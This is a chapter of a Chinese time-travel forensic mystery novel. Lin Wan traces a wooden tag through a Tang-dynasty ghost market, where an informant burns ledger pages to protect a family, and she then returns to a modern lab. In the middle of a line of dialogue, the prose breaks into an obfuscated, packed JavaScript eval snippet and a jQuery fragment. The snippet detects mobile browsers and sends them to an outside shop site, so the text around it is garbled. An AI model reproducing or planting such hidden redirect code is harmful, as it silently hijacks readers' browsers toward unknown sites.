木牌来源四个字，把林晚重新带回鬼市。
她没有来得及回答陈默“指哪一块”。
淡字还亮着，现代复核室的白光却像被什么从眼底抽走。等她再听见风声，耳边已经不是空调低鸣，而是纸灯被夜□□动的轻响。
她醒在一条窄巷里。
身下还垫着运旧纸的麻布，腰侧被车板硌得发麻。她刚撑起身，巷口那个推车少年便回头，把水囊塞到她手边。
“闻青只敢送到鬼市外。”少年压着声音，“后两道巡查是我绕的。你再不醒，我只能连车一起丢在这儿。”
纸灯挂得很低，灯面被夜潮浸软，红色褪成暗褐。巷口有人卖旧墓砖，有人用破布盖着一匣木签，风一吹，木签轻轻碰在一起，声音很细。
像骨头。
李玄不在。
这让林晚先松了一口气，又立刻更不安。
没有李玄，第一句盘问就会直接落到她身上，没人替她补身份，也没人替她挡开。
巷尾的纸门忽然开了半扇。
卢隐娘站在门后，手里拿着一盏小灯。
“林娘子这次来得快。”
林晚走过去：“木牌来源。”
卢隐娘看着她，没有让路。
“这四个字谁告诉你的？”
“残件上的批注。”
卢隐娘眼神轻轻一变。
不是惊讶。
更像某件早该来的事，已经推到了门前。
她侧身让林晚进去。
屋里比外头更暗。柜后还是那些纸马、旧木匣、墓志拓片和空白陪葬牌。墙角多了一只窄木箱，箱盖上压着三枚铜钱，像怕里面的东西自己跑出来。
卢隐娘把木箱打开。
里面不是木牌。
是一束旧木签。
木签都很窄，有些一头烧黑，有些边缘被刀削过。最上面一枚，只剩半截，侧边隐约刻着一个“林”字。
林晚伸手之前停住。
她已经学会了。
不是每个能证明真相的东西，都能随便碰。
卢隐娘笑了一下：“现在知道怕了？”
“怕污染，也怕害人。”
“后一句更像人话。”
卢隐娘把半截木签推到灯下：“旧验尸签。不是官署正物，鬼市里流转的玩意儿。有人死得不清不楚，家里不敢请官验，就会私下找懂尸伤的人看一眼。看过以后，留一枚签，记个姓，记个伤处，算是给活人一口说法。”
林晚盯着那半个“林”字。
“这和宋照水的木牌同源？”
“木料同批。”
卢隐娘从箱底取出一片薄木，背面贴着一小条旧账纸。账纸上写着木色、尺寸、刀口、买家暗号，字迹细得像虫爬。
“都是北市一个老木头客送来的。做牌，做签，也做小告身。木头便宜，纹路细，刻小字不易崩。死人用得上，活人也用得上。”
林晚想起现代影像里木牌掌心边缘的刻槽。
那不是孤物。
它从一开始就属于一条能买、能送、能改、能藏的链。
“老木头客是谁？”
卢隐娘没有答。
她把箱盖重新合上。
“问这个要另收价。”
“多少钱？”
“不要钱。”
林晚看着她。
卢隐娘抬手，指了指林晚心口：“我要你答应一件事。若将来你在你那边看见这条木料线，不许把所有名字都写出来。”
林晚没有立刻应。
这不是一个简单承诺。
宋宅求见记录被压下时，不写全害死了宋照水。姚春生案里，半句话差点害死罗直。闻鸢那张无名别记又压在另一边，提醒她有些名字写出来，会先杀活人。
卢隐娘看出她的迟疑：“你现在还以为真相只要完整，就一定干净？”
林晚低声道：“我已经不这么以为了。”
“那就好。”
外头忽然有人急促敲门。
卢隐娘没有动。
敲门声停了三下，改成两轻一重。
她脸色变了。
一个瘦小少年从后门钻进来，满头都是汗，怀里抱着半只烧焦的账箱。
“娘子，霍老的箱子被翻过了。”
卢隐娘的手指慢慢收紧。
林晚问：“霍老就是木料线人？”
少年看了她一眼，没敢答。
卢隐娘道：“卖木头的人。”
少年把烧焦的账箱放到案上。箱盖被撬开，里面的账册少了半本，剩下的页角有火燎痕。有人翻得很急，没有来得及烧干净。
卢隐娘把残页挑出来，吹灭边缘一点暗火。
“他人呢？”
少年摇头：“不在铺里。后门血不多，像是自己走的，也像被人扶走的。墙上留了个记号，让我们别找。”
他说这句话时，一只手一直按着腰侧的小布包。布包口露出半截红绳，像从孩子的长命锁上拆下来的。
卢隐娘看了一眼，脸色更冷，随即冷笑一声。
“不找才怪。”
她把残页递给林晚。
林晚没有接。
“我接了，就会变成我的来源。”
“你不接，它今晚就会被烧成灰。”
两个人对视片刻。
林晚取出一块干净帕子，隔着布托住残页边缘。
纸很脆。
上面只剩三行能辨。
同批木料，先入旧签。
后取窄长空白牌。
送至宋娘子。
最后四个字让林晚背脊发凉。
不是“刻林字”。
是“送至宋娘子”。
这几行只说明同批木料如何流转到宋照水手里，并不说明木牌上的文字由旁人补刻。真正的六字，是宋照水自己在同一夜刻下的。
“这不是宋照水那一块的账？”林晚问。
“不是全部。”卢隐娘道，“也不是第一笔。”
她取过小刀，把烧焦账册剩下的半本切开。可她没有全留，而是把能牵出霍老住处、家人、伙计的几页抽出来，直接按进旁边火盆。
林晚下意识上前一步。
卢隐娘抬眼：“别拦。”
火光舔上纸边。
上面的名字卷曲，变黑，塌成灰。
“你烧的是证据。”
“我烧的是活人路。”
卢隐娘的声音很冷，“留下这些，霍老一家三口都走不了。烧掉这些，至少他们今晚还能换一条巷子。”
林晚看着那几页纸烧完，胸口像被什么堵住。
她来查木牌。
可木牌还没有开口，先有人被迫失踪，先有人烧账保命。
她忽然想起李玄那句话：被写下来的东西，不只会救人，也会等人来用。
现在她又看见另一面。
被烧掉的东西，也不一定只是销毁真相。
有时候，是不让追杀的人顺着字找过去。
卢隐娘把剩下的残页压进一只薄木匣里，只留下能指向木料同源的几行。
“拿去。”她说。
“你刚才要我答应的事。”
“现在你已经看见价钱了。”
林晚低头看着木匣。
里面那几行字很少。
少到不足以还原整条账。
却正好足以证明，宋照水手里的木牌、旧验尸签上的“林”、以及现代残件旁那条批注，可能来自同一批木料。
足以把木牌从一句警告，变成整串物证里的一处结。
也足以让更多人被点名。
林晚低声道：“我答应，只写能保住证据的部分。不写会立刻害死活人的名字。”
卢隐娘看了她一会儿。
“这句话听起来不像官话。”
“因为我现在还没有资格写官话。”
卢隐娘把木匣推过来。
“那就先学会
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17775988|210015||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
写人的话。”
门外传来一声短哨。
少年脸色又变：“有人往这边来了。”
卢隐娘把灯吹灭一半。
屋里暗下去，只有火盆里一点余红。
她低声吩咐少年：“带霍老家里人走水渠。账箱不要了。”
少年抱起空箱，又看向林晚手里的木匣。
“那这个呢？”
卢隐娘道：“这个让她带。”
“她是谁？”
卢隐娘没有答。
林晚却感觉那个问题像钉子一样落在背后。
她是谁。
现代纸面上，她是异常说明对象。
唐朝鬼市里，她是来查木牌的人。
可这些木签上的“林”字，比她更早待在这里。
她不能解释。
也不能假装没看见。
巷外脚步声近了。
卢隐娘打开后墙暗门，冷风灌进来，带着水沟里腐木和泥腥的味道。
“走。”
林晚抱着木匣钻出去。
身后，卢隐娘没有立刻跟上。她把柜后剩下的一叠账纸抽出来，分成两半。
一半塞进墙洞。
一半丢进火盆。
火光猛地窜起，照亮她的脸。
那一瞬，林晚看见火光从卢隐娘眼底掠过去。
她没有回头看烧掉的那一半账。
她不是在卖消息。
她是在决定哪些记忆可以活，哪些名字必须先死一夜。
有人撞开前门。
木门碎裂的声音追进后巷。
林晚和少年沿着水渠往前跑，木匣在她怀里颠得发疼。她不知道自己会不会把它带回现代，也不知道这一段残账能不能被现代材料印证。
她只知道，怀里的东西太轻。
轻得像随时会碎。
可为了这几行字，霍老失踪，卢隐娘烧了半本账，少年要连夜转移家人。
木匣硌在她肋下，疼得她吸了一口气。
她再也不敢把木牌只当成属于自己的警告。
它经过许多人手。
每一只手都可能被砍断。
她醒来时，掌心空着。
现代复核室的灯已经换成夜间模式，白底上仍停着金吾卫残件旁那条木牌批注。周启明不在，只有陈默靠在窗边打电话。
林晚低头看自己的手。
没有木匣。
没有残页。
只有指腹上一点极淡的黑灰，像纸烧尽后留下的粉。
她没有碰。
先拍照。
再用干净采样袋封存。
陈默挂断电话，转头看见她的动作，脸色立刻变了。
“又有残留？”
林晚把采样袋放到桌上。
“我不能解释来源。”
陈默看着她，半晌没有说话。
白底上的图像刷新。
影像组新传来一张木质残片显微图。说明栏里写着：疑似旧验尸木签，残留单字。
放大后的木面上，刀痕已经很浅。
但那个字还在。
林。
陈默低声道：“又是林？”
林晚没有回答。
右下角还有一行新标注：
与唐代女尸掌中木牌木纹走向近似，同源关系待复核。
待复核。
这三个字在现代纸面上很冷静。
可林晚刚刚看见，为了让这三个字能留到现在，有人失踪，有人烧账，有人在后巷里带着家人逃走。
她盯着那个“林”字。
忽然想起卢隐娘在暗门前低声说过的最后一句。
“这不是第一次有人把林字送到未来。”
那时林晚没来得及问。
现在她在白灯下听见这句话重新响起，才觉得喉咙慢慢发紧。
因为卢隐娘还说了后半句。
“只是知道前一次的人，已经不见了。”